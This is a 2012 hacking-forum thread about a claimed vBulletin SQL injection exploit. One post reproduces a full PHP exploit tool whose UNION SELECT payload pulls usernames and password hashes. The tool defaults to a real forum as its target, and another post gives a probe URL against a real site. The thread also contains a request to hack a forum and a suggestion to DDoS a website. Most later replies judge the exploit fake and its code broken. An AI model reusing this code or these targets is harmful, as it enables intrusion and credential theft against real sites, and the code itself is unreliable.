

Forum:[Hack Forums](#)

Thread: [Vbulletin hacking](#)

DrWhat - November 29, 2012, 6:31 pm

If anyone has

<http://1337day.com/exploit/description/19798>

do you know if it works on all versions AND if you have it can you hack a forum for me. just 1

Ghetto~~ - November 29, 2012, 6:45 pm

Code <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<style>

body {background-color: black; font-family: Verdana; font-size: 10pt; color: #d9d9d9; margin: 30px; 30px; auto; background-attachment: fixed; background-image:

url('https://lh6.googleusercontent.com/-C-Zv0fYrOtU/UJgYzWMMUil/AAo/3Uyil7klcQo/s600/back4.jpg'); background-repeat: no-repeat; background-position: right bottom;}

div { margin: 30px; 30px; auto; }

</style>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<title> vBulletin 3.x / 4.x / 5.x remote SQL Injection PHP exploit [b][y] Cold z3ro </title>

</head>

<body>

<form method="post">

<table width="100%" border="0">

<tr>

<td>target</td>

<td><input type="text" value="<? if(\$_POST[host]) {echo \$_POST[host]; }else{echo 'http://forum.dnevno.hr/';} ?>" name="host" size="70" />

</td>

</tr>

<tr>

<td>userid</td>

<td><input type="text" value="<? if(\$_POST[uid]) {echo \$_POST[uid]; }else{echo '1';} ?>" name="uid" size="6" /><input type="submit" name="exp" value="Exploit-it"/></td>

</tr>

</table>

</form>

<div>

<?php

/**

- * @exploit vBulletin 3.x/4.x/5.x (quick_replay) remote SQL Injection PHP exploit
- * @author Cold z3ro
- * @site <http://www.hackteach.org> , <http://www.s3curi7y.com>
- * @copyright 26-12-2012
- * @about it Its depends on ajax.php file, and comments quick replay via ajax file if anabled.
- * @Note This exploit coded for english language vBulletin forums,
- * @Note. non english exploit will faild,you need to exploit it manually
- * @Note. or to edit some variables depends on the fourm main language.
- * @Note. Exploit takes time while executing.
- * @type Oday, danger
- **/

```
set_time_limit(0);
ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.1.4322)');
```

```
function fetchinj( $string, $str, $end ){
$string = " ".$string;
$ini = strpos( $string,$str );
if ($ini == 0) return "";
$ini += strlen( $str );
$len = strpos( $string,$end,$ini ) - $ini;
return substr( $string,$ini,$len );
}
```

```
function pagethis( $url ){
$ch = curl_init();
curl_setopt ( $ch, CURLOPT_URL, $url );
curl_setopt ( $ch, CURLOPT_HEADER, 0 );
ob_start();
curl_exec ( $ch );
curl_close ( $ch );
$data = ob_get_contents();
ob_end_clean();
return $data;
}
```

```
if ($_POST['exp']){
$host = $_POST['host'];
$uid = $_POST['uid'];
```

```
if( !ereg("http://", $host)){
die('use "http://" in the link you moron');
}else{
```

```
$back = substr($host,-1,1);
if ($back !="/"){
$link = "/ajax.php";
}else{
$link = "ajax.php";
}
```

```
$link.= '?do=';
```

```

$lnk.= 'quick_replay';
$lnk.= "&t=";

# checking site requirement
$link2check = pagethis( $host.'showthread.php?t=210' );
$_link2check = pagethis( $host.'showthread.php?t=400' );
$check1 = strstr( $link2check, 'You are not logged' );
$check2 = strstr( $link2check, 'If you followed a valid link' );
$check3 = strstr( $_link2check, 'If you followed a valid link' );

if( $check1 == true ){
die('Exploit Faild: target need login authentication');
}else if( $check2 == true and $check3 == true ){

# make the exploit exactly and much better
# looking for 25 $_GET[t];
for( $i=5; $i<30; $i++ ){
$multicheck = pagethis( $host.'showthread.php?t='.$i." );
$what2check = strstr( $multicheck, 'vBulletin Message' );
$found = array( $what2check );
foreach ( $found as $value => $val ){
if ( !$val[0] )
break 2;
}

}

}

# Injecton SQL.
$exp = '+union+select+1,2,3,';
$exp.= 'concat(0x7a33726f31,username,0x0d0a,password,0x7a33726f32)';
$exp.= ',5,6,username,8,9,10,11,12,13,14,15,16,17';
$exp.= '+from+user+where+';
$exp.= 'userid='.$suid.'--';

if ( $i ){
$exp = $host.$lnk.$i.$exp;
}else{
$exp = $host.$lnk.'32'.$exp;
}

$extinj = pagethis( $exp );
$result = fetchinj( $extinj, 'z3ro1', 'z3ro2' );
//print_r($result);

if ( $result[1] ){
echo 'Exploit fineshed :<br><br>'.$result;
}else{
echo 'Exploit Faild';
}
}
}
}

```

Eof

?>
</div>

</body>
</html>

1337day.com [2012-11-29]I never tried it
I've also heard it was fake
sooo..

DrWhat - November 29, 2012, 7:39 pm

thanks, ill try it out. also it cant be fake because its a verified exploit.

edit: Yeah that php script has a ton of errors in it. At least it includes the sql syntax ill test that out.

J?mes - November 29, 2012, 7:58 pm

I never knew quick_replay was even in ajax.php on vBulletin. Maybe this was tested on a custom forum and also verified on a custom forum?

DrWhat - November 29, 2012, 8:44 pm

(Nov 29, 2012 08:58 PM)JamesHammond Wrote: [\[CITE\]](#) I never knew quick_replay was even in ajax.php on vBulletin. Maybe this was tested on a custom forum and also verified on a custom forum?

No, inject0r tests them on a clean install of what ever webapp it is for.

and for \$500 no doubt it is true. but the script derpy hooves posted i dont think is it.

Ideology - November 30, 2012, 12:30 am

This exploit isn't legit. The only website that contains the vulnerability is the one in the screenshots. Proof?

Code inurl:?do=quick_replay

Dragonce - November 30, 2012, 12:54 am

(Nov 30, 2012 01:30 AM)Jamaicob Wrote: [\[CITE\]](#) This exploit isn't legit. The only website that contains the vulnerability is the one in the screenshots. Proof?

Code inurl:?do=quick_replay

Someone give this guy a medal!

Fake exploit is fake.

The Ion - November 30, 2012, 5:48 am

Trenutno nema komentara na ovaj clanak. Budite prvi koji ce ga komentirati.

[http://www.dnevno.hr/forum/ajax.php?do=quick_replay&t=46319'](http://www.dnevno.hr/forum/ajax.php?do=quick_replay&t=46319)

SQL i in this website if ajax is enabled :P fake exploit

james00x - November 30, 2012, 6:01 am

So, its means 1337 scam people? Such a bad reputation, and i thought all this time they are good.

Jones. - November 30, 2012, 7:35 am

Haha, just read through this, wow I thought 1337 was a good, high quality site.
Pretty low to be honest.

bckslsh - November 30, 2012, 8:43 am

It must be some sort of custom plugin.

Over the past month I've looked over the source literally tens of times, and not found anything even remotely dangerous. Not to say there isn't anything there though, I'm certainly nowhere near the best at finding vulnerabilities.

Raged-bbl - November 30, 2012, 10:24 am

Well, i tested it on a clean install, with no mod_security or suPHP or anything.

It does not work and i have put it up on my paste. Idc what people say about this, but this is my point on it.

<http://paste.h4cky0u.info/47>

rvltr - December 1, 2012, 12:13 am

this exploit is fake ;)

its not even quick_replay. its quick_reply.

and both of these supposed vbulletin vulns are fake.

the internet exploder 9 memory corruption exploit they are charging for is public and was released free as well.

Iceman-x - December 1, 2012, 12:13 am

I come to the same conclusion. Tested on several boards. clean install, both 3.x and 4.x all and whit Quick Replay enabled.

Can get it to work. so I will presume its Fake.

DrWhat - December 1, 2012, 10:27 am

so whats shall we do, DDoS 1337day :) get rid of the low quality shit

Im going to download 3.8.2 and read the code in the presumed vulnrable ajax.php well i had a quick look, there is no _POST['do'] request for 'quick_replay' Not even one for quick_reply.

the only _post['do'] is QuickReply "case sesative" and non the the sql functions it touches are vulnerable from what i can see. AND that _POST['do'] = QuickReply requires alot more POST values then that fake exploit gives. So even if it was vulnrable the web app would give an error becuase it hasnt got the infomation reuquired you wouldnt even touch the sql query.

rvltr - December 1, 2012, 12:40 pm

heres more proof of Inj3ct0r team scamming for those who care

link: <http://1337day.com/exploit/description/19790>

public exploit they are selling

<http://www.exploit-db.com/exploits/22401/>

and for some more exposure. just because im bored.

<http://1337day.com/exploit/description/19792>

trying to sell this: <http://www.scip.ch/en/?vuldb.6819>

exploit located here:

<http://seclists.org/bugtraq/2012/Oct/63>

(Dec 1, 2012 11:27 AM)DrWhat Wrote: [\[CITE\]](#) so whats shall we do, DDoS 1337day :) get rid of the low quality shit

Im going to download 3.8.2 and read the code in the presumed vulnrable ajax.php well i had a quick look, there is no `_POST['do']` request for 'quick_replay' Not even one for quick_reply.

the only `_post['do']` is QuickReply "case sesative" and non the the sql functions it touches are vulnerable from what i can see. AND that `_POST['do']` = QuickReply requires alot more POST values then that fake exploit gives. So even if it was vulnrable the web app would give an error becuase it hasnt got the infomation reuquired you wouldnt even touch the sql query.

there isnt even a single instance of the string "quick_replay" in any of the versions of vbulletin ive checked.

there is vbulletin_quick_reply.js. thats about it.

the sites used in the demonstration video are controlled by noob z3r0 and members of inj3ct0rs from the demo videos posted on youtube, and were modified in order to provide a fake proof of concept to make their scam more believable

Iceman-x - December 4, 2012, 2:18 am

Rvlt

Woundering what tool you did use for search. looks nice.

Thanks.

(Dec 1, 2012 01:40 PM)rvltr Wrote: [\[CITE\]](#) heres more proof of Inj3ct0r team scamming for those who care

link: <http://1337day.com/exploit/description/19790>

public exploit they are selling

<http://www.exploit-db.com/exploits/22401/>

and for some more exposure. just because im bored.

<http://1337day.com/exploit/description/19792>

trying to sell this: <http://www.scip.ch/en/?vuldb.6819>

exploit located here:

<http://seclists.org/bugtraq/2012/Oct/63>

there isnt even a single instance of the string "quick_replay" in any of the versions of vbulletin ive checked.

there is vbulletin_quick_reply.js. thats about it.

the sites used in the demonstration video are controlled by noob z3r0 and members of inj3ct0rs from the demo videos posted on youtube, and were modified in order to provide a fake proof of concept to make their scam more believable

rvltr - December 4, 2012, 8:03 pm

its called mythicsoft file locator pro, and it is pretty dam nice for searching sources and such for vulns

markblaze56 - December 5, 2012, 3:18 am

nice dude, sounds good...but fake? thanks for sharing.

Iceman-x - December 5, 2012, 3:50 am

sweet, installing as we speak.

Thanks.